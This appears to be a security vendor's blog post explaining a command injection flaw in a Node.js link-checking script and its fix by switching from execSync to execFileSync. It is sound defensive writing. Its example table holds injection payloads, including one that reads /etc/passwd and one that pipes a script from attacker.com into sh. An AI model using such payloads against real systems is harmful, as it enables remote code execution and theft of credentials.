Back to Blog
high SEVERITY4 min read

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

O
By Orbis AppSec
Published September 7, 2026Reviewed September 7, 2026

Answer Summary

Command injection (CWE-78) in Node.js occurs when user input reaches `child_process.execSync()` with shell execution enabled. In `scripts/check-links.js`, the `repo` parameter was interpolated into a shell command string, allowing attackers to inject malicious operators. The fix replaces `execSync(cmd)` with `execFileSync('gh', [...args])`, passing arguments as an array to bypass shell interpretation entirely.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixReplace execSync() with execFileSync() using array arguments
riskRemote code execution through crafted repository names
languageJavaScript (Node.js)
root causeString interpolation into shell command via execSync()
vulnerabilityCommand injection via child_process.execSync()

Introduction

The scripts/check-links.js file handles repository validation for a project catalog, querying GitHub's API to check if repositories are archived or disabled. But a flaw in the checkRepo() function created a security risk: on line 22, user-controlled repository names were interpolated directly into a shell command executed via child_process.execSync(). While this script may run in a controlled environment today, the pattern represents an exploit primitive—a code construct that automated attack tools could chain with other weaknesses to achieve remote code execution.

The Vulnerability Explained

The vulnerable code constructed a shell command by embedding the repo parameter directly into a string:

// VULNERABLE CODE (scripts/check-links.js:22)
function checkRepo(repo) {
  try {
    const cmd = `gh api repos/${repo} --jq '{archived: .archived, disabled: .disabled, full_name: .full_name}'`;
    const result = JSON.parse(execSync(cmd, { encoding: 'utf-8', timeout: 15000 }));
    // ...
  }
}

The Exploit Path

The repo parameter flows from data/projects.json into checkRepo(). An attacker who can modify this data—or exploit another vulnerability to influence the parameter—could inject shell metacharacters:

Malicious Input Injected Command Behavior
foo/bar; whoami Executes whoami after the gh command
foo/bar \| cat /etc/passwd Pipes output to cat /etc/passwd
foo/bar && curl attacker.com/exfil.sh \| sh Downloads and executes attacker script

The gh CLI token in environment variables could be exfiltrated, or the runner could be compromised entirely. Even if projects.json is "trusted," defense in depth demands treating all external data as potentially malicious.

Why This Matters

This vulnerability is particularly insidious because:
- Silent failure: Injection may not crash the script, making detection difficult
- Chaining potential: A seemingly minor XSS or configuration injection elsewhere becomes RCE
- CI/CD exposure: Scripts like this often run in CI pipelines with elevated privileges

The Fix

The remediation replaces execSync() with execFileSync(), fundamentally changing how the command executes:

Before (Vulnerable)

const { execSync } = require('child_process');
// ...
const cmd = `gh api repos/${repo} --jq '{archived: .archived, disabled: .disabled, full_name: .full_name}'`;
const result = JSON.parse(execSync(cmd, { encoding: 'utf-8', timeout: 15000 }));

After (Hardened)

const { execFileSync } = require('child_process');
// ...
const result = JSON.parse(execFileSync('gh', ['api', `repos/${repo}`, '--jq', '{archived: .archived, disabled: .disabled, full_name: .full_name}'], { encoding: 'utf-8', timeout: 15000 }));

Security Improvement

Aspect execSync(cmd) execFileSync(file, args)
Shell involved Yes (spawns /bin/sh -c) No (direct executable spawn)
Argument parsing Shell interprets metacharacters Arguments passed literally
Injection surface Entire command string Individual array elements
repo containing ; whoami Executes whoami Passed as literal argument to gh

The repos/${repo} segment remains interpolated, but execFileSync() treats it as a single argument to gh, not a shell command. The gh CLI itself may still have parsing vulnerabilities, but the shell injection vector is eliminated.

Prevention & Best Practices

1. Prefer Array-Based APIs

Always use execFile(), execFileSync(), spawn(), or fork() with argument arrays. Reserve exec() and execSync() for true shell scripting needs with no external input.

2. Validate Early, Validate Strictly

If you must accept external input, enforce allowlist patterns:

const VALID_REPO = /^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/;
if (!VALID_REPO.test(repo)) {
  throw new Error(`Invalid repository format: ${repo}`);
}

3. Defense in Depth

Combine multiple controls: input validation + safe APIs + least-privilege execution environments.

4. Static Analysis Integration

Tools like Semgrep catch these patterns automatically. The rule javascript.lang.security.detect-child-process.detect-child-process specifically flags dangerous child_process usage.

Standards & References

Key Takeaways

  • Never use execSync() with interpolated strings in repository automation scripts—the shell interpretation creates an injection vector even for "internal" data sources
  • execFileSync('gh', [...args]) is the correct pattern for GitHub CLI invocations; the executable and arguments must remain separate
  • Line 22's string construction (repos/${repo}) was the critical vulnerability point; the fix maintains functionality while removing shell involvement
  • Exploit primitives matter: Even "unexploitable" patterns today become ammunition for tomorrow's automated attack chains
  • Semgrep's detect-child-process rule correctly identified this pattern at scripts/check-links.js:22 before exploitation

How Orbis AppSec Detected This

Source: Function parameter repo in checkRepo(), populated from data/projects.json project entries

Sink: child_process.execSync(cmd, ...) at scripts/check-links.js:22, executing a shell command with interpolated repository name

Missing control: No input validation on repo format; no sanitization of shell metacharacters; use of shell-executing API instead of direct executable spawn

CWE: CWE-78—OS Command Injection

Fix: Replaced execSync() with execFileSync('gh', [...]), passing the gh executable and its arguments as a literal array, eliminating shell interpretation entirely

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The scripts/check-links.js fix demonstrates a fundamental security principle: eliminate the vulnerability class, don't just mitigate symptoms. By switching from execSync() to execFileSync(), the code no longer depends on input validation correctness—it structurally cannot execute injected commands. This proactive hardening, while labeled "defensive" in the PR, removes an exploit primitive that sophisticated attackers increasingly weaponize. For Node.js developers, the lesson is clear: treat child_process.exec*() with extreme caution, and default to array-based APIs for all external process invocation.

References

Frequently Asked Questions

What is command injection?

Command injection occurs when untrusted input is passed to a system shell, allowing attackers to execute arbitrary commands by injecting shell metacharacters like `;`, `|`, `&&`, or backticks.

How do you prevent command injection in Node.js?

Use `execFileSync()` or `spawn()` with arguments passed as arrays instead of `execSync()` with string commands. Never interpolate user input into shell command strings.

What CWE is command injection?

CWE-78: OS Command Injection (https://cwe.mitre.org/data/definitions/78.html)

Is input validation enough to prevent command injection?

No—blacklist validation can be bypassed. The definitive fix is avoiding shell execution entirely by using array-based APIs like `execFileSync()` that pass arguments directly to the executable.

Can static analysis detect command injection?

Yes. Semgrep's `javascript.lang.security.detect-child-process.detect-child-process` rule flags dangerous `child_process` patterns, including `execSync()` calls with dynamic strings.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #43

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.